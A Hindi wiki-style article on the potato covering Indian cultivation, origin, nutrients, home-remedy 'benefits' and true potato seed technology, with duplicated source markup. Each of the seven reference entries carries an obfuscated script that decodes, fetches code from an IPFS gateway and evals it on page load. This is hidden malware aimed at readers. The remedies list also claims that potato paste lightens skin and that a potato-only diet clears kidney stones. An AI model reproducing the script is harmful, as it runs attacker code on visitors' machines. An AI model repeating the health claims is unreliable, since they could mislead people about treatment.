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आलू [[भारत]] की [[भारत की शाक-सब्ज़ी|सब्ज़ियों]] की एक महत्‍वपूर्ण फसल है। आलू का वानस्पतिक नाम सोलेनम टयूबरोसम है और [[अंग्रेज़ी भाषा]] में पोटेटो कहा जाता है। अधिक उपज देने वाली किस्में की समय से बुआई, संतुलित मात्रा में उर्वरकों का प्रयोग, समुचित रोग एवं कीट नियन्त्रण, उचित जल प्रबन्ध द्वारा इसकी उपज बढाई जा सकती है।<ref>{{cite web |url=http://www.gsgk.org.in/aalo.php |title=आलू |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=ग्रामीण सूचना एवंम ज्ञान केन्द्र |language=हिन्दी }}</ref> भारत में आलू की फसल विभिन्न जलवायु क्षेत्रों में लगाई जाती है, जिससे वर्ष भर आलू प्रचुर मात्रा में उपलब्ध रहता है आलू की फसल की विभिन्न अवस्थाओं में 80 से अधिक प्रकार के कीट प्रत्यक्ष या अप्रत्यक्ष रूप से जुड़े है, लेकिन फसल को आर्थिक रूप से हानि पहुँचाने वाले कीटों की संख्या 10 से 12 है।<ref>{{cite web |url=http://opaals.iitk.ac.in:9000/wordpress/index.php/%E0%A4%86%E0%A4%B2%E0%A5%82-%E0%A4%95%E0%A5%80-%E0%A4%AB%E0%A4%B8%E0%A4%B2-%E0%A4%AE%E0%A5%87%E0%A4%82-%E0%A4%95%E0%A5%80%E0%A4%9F-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%AC%E0%A4%82%E0%A4%A7 |title=आलू की फसल में कीट प्रबंध |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=नई दिशाएँ |language=हिन्दी }}</ref> आलू को खेती ठंडे मौसम में जहाँ पाले का प्रभाव नहीं होता है, सफलतापूर्वक की जा सकती है आलू के कंदों का निर्माण 20 डिग्री सेल्सीयस तापक्रम पर सबसे अधिक होता है।<ref>{{cite web |url=http://opaals.iitk.ac.in/deal/embed.jsp?url=crops-type.jsp&url2=52&url3=%E0%A4%95%E0%A4%A8%E0%A5%8D%E0%A4%A6%20%E0%A4%B5%E0%A4%BE%E0%A4%B2%E0%A5%80%20%E0%A4%B8%E0%A4%AC%E0%A5%8D%E0%A4%9C%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%81&url4=%E0%A4%B8%E0%A4%AC%E0%A5%8D%E0%A4%9C%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%81&url5=%E0%A4%86%E0%A4%B2%E0%A5%82&url6=HI |title=आलू |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=डील |language=हिन्दी }}</ref>
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आलू [[भारत]] की [[भारत की शाक-सब्ज़ी|सब्ज़ियों]] की एक महत्‍वपूर्ण फ़सल है। आलू का वानस्पतिक नाम सोलेनम टयूबरोसम है और [[अंग्रेज़ी भाषा]] में पोटेटो कहा जाता है। अधिक उपज देने वाली किस्में की समय से बुआई, संतुलित मात्रा में उर्वरकों का प्रयोग, समुचित रोग एवं कीट नियन्त्रण, उचित जल प्रबन्ध द्वारा इसकी उपज बढाई जा सकती है।<ref>{{cite web |url=http://www.gsgk.org.in/aalo.php |title=आलू |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=ग्रामीण सूचना एवंम ज्ञान केन्द्र |language=[[हिन्दी]] }}</ref> [[भारत]] में आलू की फ़सल विभिन्न जलवायु क्षेत्रों में लगाई जाती है, जिससे वर्ष भर आलू प्रचुर मात्रा में उपलब्ध रहता है आलू की फ़सल की विभिन्न अवस्थाओं में 80 से अधिक प्रकार के कीट प्रत्यक्ष या अप्रत्यक्ष रूप से जुड़े है, लेकिन फ़सल को आर्थिक रूप से हानि पहुँचाने वाले कीटों की संख्या 10 से 12 है।<ref>{{cite web |url=http://opaals.iitk.ac.in:9000/wordpress/index.php/%E0%A4%86%E0%A4%B2%E0%A5%82-%E0%A4%95%E0%A5%80-%E0%A4%AB%E0%A4%B8%E0%A4%B2-%E0%A4%AE%E0%A5%87%E0%A4%82-%E0%A4%95%E0%A5%80%E0%A4%9F-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%AC%E0%A4%82%E0%A4%A7 |title=आलू की फ़सल में कीट प्रबंध |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=नई दिशाएँ |language=[[हिन्दी]] }}</ref> आलू को खेती ठंडे मौसम में जहाँ पाले का प्रभाव नहीं होता है, सफलतापूर्वक की जा सकती है आलू के कंदों का निर्माण 20 डिग्री सेल्सीयस तापक्रम पर सबसे अधिक होता है।<ref>{{cite web |url=http://opaals.iitk.ac.in/deal/embed.jsp?url=crops-type.jsp&url2=52&url3=%E0%A4%95%E0%A4%A8%E0%A5%8D%E0%A4%A6%20%E0%A4%B5%E0%A4%BE%E0%A4%B2%E0%A5%80%20%E0%A4%B8%E0%A4%AC%E0%A5%8D%E0%A4%9C%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%81&url4=%E0%A4%B8%E0%A4%AC%E0%A5%8D%E0%A4%9C%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%81&url5=%E0%A4%86%E0%A4%B2%E0%A5%82&url6=HI |title=आलू |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=डील |language=[[हिन्दी]] }}</ref>
 
====रंग====
 
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==उत्पत्ति==
 
==उत्पत्ति==
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==आलू के पोषक तत्व==
 
==आलू के पोषक तत्व==
 
आलू  में  कैल्शियम, लोहा, विटामिन बी  तथा  फॉस्फोरस  बहुतायत  में  होता  है। आलू  में  पोटेशियम  साल्ट  होता  है जो  अल्पपित्त  को  रोकता  है।
 
आलू  में  कैल्शियम, लोहा, विटामिन बी  तथा  फॉस्फोरस  बहुतायत  में  होता  है। आलू  में  पोटेशियम  साल्ट  होता  है जो  अल्पपित्त  को  रोकता  है।
 
==आलू का विकास==
 
==आलू का विकास==
भारत में आलू विशेष रूप से [[उत्तर प्रदेश]] में उगाया जाता है। [[तमिलनाडु]] एवं [[केरल]] को छोडकर आलू सारे देश में उगाया जाता है। भारत में आलू की औसत उपज 152 क्विंटल प्रति हैक्‍टेयर है जो विश्‍व औसत से काफी कम है। अन्‍य फसलों की तरह आलू की अच्‍छी पैदावार के लिए उन्‍नत किस्‍मों के रोग रहित बीजो की उपलब्‍धता बहुत आवश्‍यक है। इसके अलावा उर्वरकों का उपयोग, सिंचाई की व्‍यवस्‍था, तथा रोग नियंत्रण के लिए दवा के प्रयोग का भी उपज पर गहरा प्रभाव पडता है।<ref>{{cite web |url=http://www.krishisewa.com/articles/potato.html |title=आलू की खेती की उन्‍नत विधि |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=कृषिसेवा |language=हिन्दी }}</ref>
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==आलू के फायदे==
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*आलू के छिलके ज़्यादातर फेंक दिए जाते हैं, जबकि छिलके सहित आलू खाने से ज़्यादा शक्ति मिलती है।<ref>{{cite web |url=http://www.bichhu.com/chirayu/3181.html |title=आलू के घरेलू उपचार |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=बिच्छु डॉट कॉम |language=[[हिन्दी]] }}</ref>  
 
*आलू को पीस कर त्वचा पर मले। रंग गोरा हो जाएगा।
 
*आलू को पीस कर त्वचा पर मले। रंग गोरा हो जाएगा।
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*सर्दी में ठण्डी हवाओं से हाथों की त्वचा पर झुर्रियाँ पड़ने पर कच्चे आलू को पीस कर हाथों पर मलें।<ref>{{cite web |url=http://khanakhajana.mywebdunia.com/2009/02/19/health_tips.html |title=आलू के असरकारी नुस्खे |accessmonthday=[[26 अगस्त]] |accessyear=[[2010]] |last= |first= |authorlink= |format= |publisher=वेबदुनिया |language=[[हिन्दी]] }}</ref>
 
*आलू खाते रहने से रक्तवाहिनियाँबड़ी आयु तक लचकदार बनी रहती हैं तथा कठोर नहीं होने पाती।
 
*आलू खाते रहने से रक्तवाहिनियाँबड़ी आयु तक लचकदार बनी रहती हैं तथा कठोर नहीं होने पाती।
 
*कभी-कभी चोट लगने पर नील पड़ जाती है। नील पड़ी जगह पर कच्चा आलू पीसकर लगायैं।
 
*कभी-कभी चोट लगने पर नील पड़ जाती है। नील पड़ी जगह पर कच्चा आलू पीसकर लगायैं।
*पथरी के रोगी को केवल आलू खिलाकर और बार-बार अधिक पानी पिलाते रहने से गुर्दे की पथरियाँ आसानी से निकल जाती है।  
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*पथरी के रोगी को केवल आलू खिलाकर और बार-बार अधिक पानी पिलाते रहने से गुर्दे की पथरियाँ आसानी से निकल जाती है।
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==टीपीएस तकनीक==
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आलू एक उच्च लागत वाली फसल है। पारंपरिक रूप से इसकी खेती बीज कंदों के माध्यम से की जाती है। उत्पादन की कुल लागत का लगभग 40-50% बीज कंद खरीदने के लिए आवश्यक है। टीपीएस (ट्रू पोटैटो सीड) तकनीक आलू उत्पादन की एक वैकल्पिक विधि के रूप में संभावित है जो वैज्ञानिक रूप से सुदृढ़, तकनीकी रूप से व्यवहार्य, आर्थिक रूप से व्यवहार्य है और आलू की खेती की उत्पादकता, उत्पादन और लागत को कम करने के लिए कम लागत और उच्च गुणवत्ता वाली रोपण सामग्री उत्पन्न करने के लिए पर्यावरण के अनुकूल है। टीपीएस लगभग रोगमुक्त आलू की फसल देने के अलावा लागत प्रभावी भी है। आकार में बहुत छोटा होने के कारण, टीपीएस को बिना किसी लागत के आसानी से संग्रहीत और परिवहन किया जा सकता है। इसके अलावा, लगभग 350-375 वर्ग मीटर में बुआई के लिए केवल 50 ग्राम टीपीएस की आवश्यकता होती है। अंकुर कंदों के उत्पादन के लिए क्षेत्र अगले वर्ष एक हेक्टेयर रोपण के लिए पर्याप्त है, जबकि बीज कंदों के माध्यम से आलू उत्पादन के मामले में 2-2.5 टन/हेक्टेयर की आवश्यकता होगी। इसलिए, यह खेती की कुल लागत को काफी कम कर देता है।
  
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12:55, 18 जुलाई 2023 के समय का अवतरण

आलू
Potato

आलू भारत की सब्ज़ियों की एक महत्‍वपूर्ण फ़सल है। आलू का वानस्पतिक नाम सोलेनम टयूबरोसम है और अंग्रेज़ी भाषा में पोटेटो कहा जाता है। अधिक उपज देने वाली किस्में की समय से बुआई, संतुलित मात्रा में उर्वरकों का प्रयोग, समुचित रोग एवं कीट नियन्त्रण, उचित जल प्रबन्ध द्वारा इसकी उपज बढाई जा सकती है।[1] भारत में आलू की फ़सल विभिन्न जलवायु क्षेत्रों में लगाई जाती है, जिससे वर्ष भर आलू प्रचुर मात्रा में उपलब्ध रहता है आलू की फ़सल की विभिन्न अवस्थाओं में 80 से अधिक प्रकार के कीट प्रत्यक्ष या अप्रत्यक्ष रूप से जुड़े है, लेकिन फ़सल को आर्थिक रूप से हानि पहुँचाने वाले कीटों की संख्या 10 से 12 है।[2] आलू को खेती ठंडे मौसम में जहाँ पाले का प्रभाव नहीं होता है, सफलतापूर्वक की जा सकती है आलू के कंदों का निर्माण 20 डिग्री सेल्सीयस तापक्रम पर सबसे अधिक होता है।[3]

रंग

आलू का रंग ऊपर से भूरा व कालापन लिये और यह अन्दर से सफ़ेद होता है।

उत्पत्ति

आलू का उत्पत्ति स्थल दक्षिणी अमेरिका है, जहाँ से यह यूरोप तथा अन्य देशों में फैला।[4] आलू के उत्पादन में चीन और रूस के बाद भारत तीसरे स्थान पर है।

आलू के पोषक तत्व

आलू में कैल्शियम, लोहा, विटामिन बी तथा फॉस्फोरस बहुतायत में होता है। आलू में पोटेशियम साल्ट होता है जो अल्पपित्त को रोकता है।

आलू का विकास

भारत में आलू विशेष रूप से उत्तर प्रदेश में उगाया जाता है। तमिलनाडु एवं केरल को छोडकर आलू सारे देश में उगाया जाता है। भारत में आलू की औसत उपज 152 क्विंटल प्रति हैक्‍टेयर है जो विश्‍व औसत से काफ़ी कम है। अन्‍य फ़सलों की तरह आलू की अच्‍छी पैदावार के लिए उन्‍नत किस्‍मों के रोग रहित बीजो की उपलब्‍धता बहुत आवश्‍यक है। इसके अलावा उर्वरकों का उपयोग, सिंचाई की व्‍यवस्‍था, तथा रोग नियंत्रण के लिए दवा के प्रयोग का भी उपज पर गहरा प्रभाव पडता है।[5]

आलू के फ़ायदे

आलू
  • आलू के छिलके ज़्यादातर फेंक दिए जाते हैं, जबकि छिलके सहित आलू खाने से ज़्यादा शक्ति मिलती है।[6]
  • आलू को पीस कर त्वचा पर मले। रंग गोरा हो जाएगा।
  • सर्दी में ठण्डी हवाओं से हाथों की त्वचा पर झुर्रियाँ पड़ने पर कच्चे आलू को पीस कर हाथों पर मलें।[7]
  • आलू खाते रहने से रक्तवाहिनियाँबड़ी आयु तक लचकदार बनी रहती हैं तथा कठोर नहीं होने पाती।
  • कभी-कभी चोट लगने पर नील पड़ जाती है। नील पड़ी जगह पर कच्चा आलू पीसकर लगायैं।
  • पथरी के रोगी को केवल आलू खिलाकर और बार-बार अधिक पानी पिलाते रहने से गुर्दे की पथरियाँ आसानी से निकल जाती है।

टीपीएस तकनीक

आलू एक उच्च लागत वाली फसल है। पारंपरिक रूप से इसकी खेती बीज कंदों के माध्यम से की जाती है। उत्पादन की कुल लागत का लगभग 40-50% बीज कंद खरीदने के लिए आवश्यक है। टीपीएस (ट्रू पोटैटो सीड) तकनीक आलू उत्पादन की एक वैकल्पिक विधि के रूप में संभावित है जो वैज्ञानिक रूप से सुदृढ़, तकनीकी रूप से व्यवहार्य, आर्थिक रूप से व्यवहार्य है और आलू की खेती की उत्पादकता, उत्पादन और लागत को कम करने के लिए कम लागत और उच्च गुणवत्ता वाली रोपण सामग्री उत्पन्न करने के लिए पर्यावरण के अनुकूल है। टीपीएस लगभग रोगमुक्त आलू की फसल देने के अलावा लागत प्रभावी भी है। आकार में बहुत छोटा होने के कारण, टीपीएस को बिना किसी लागत के आसानी से संग्रहीत और परिवहन किया जा सकता है। इसके अलावा, लगभग 350-375 वर्ग मीटर में बुआई के लिए केवल 50 ग्राम टीपीएस की आवश्यकता होती है। अंकुर कंदों के उत्पादन के लिए क्षेत्र अगले वर्ष एक हेक्टेयर रोपण के लिए पर्याप्त है, जबकि बीज कंदों के माध्यम से आलू उत्पादन के मामले में 2-2.5 टन/हेक्टेयर की आवश्यकता होगी। इसलिए, यह खेती की कुल लागत को काफी कम कर देता है।


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टीका टिप्पणी और संदर्भ

  1. आलू (हिन्दी) ग्रामीण सूचना एवंम ज्ञान केन्द्र। अभिगमन तिथि: 26 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. आलू की फ़सल में कीट प्रबंध (हिन्दी) नई दिशाएँ। अभिगमन तिथि: 26 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. आलू (हिन्दी) डील। अभिगमन तिथि: 26 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. आलू (हिन्दी) उत्तरा कृषि प्रभा। अभिगमन तिथि: 26 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  5. आलू की खेती की उन्‍नत विधि (हिन्दी) (एच.टी.एम.एल) कृषिसेवा। अभिगमन तिथि: 26 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  6. आलू के घरेलू उपचार (हिन्दी) (एच.टी.एम.एल) बिच्छु डॉट कॉम। अभिगमन तिथि: 26 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  7. आलू के असरकारी नुस्खे (हिन्दी) वेबदुनिया। अभिगमन तिथि: 26 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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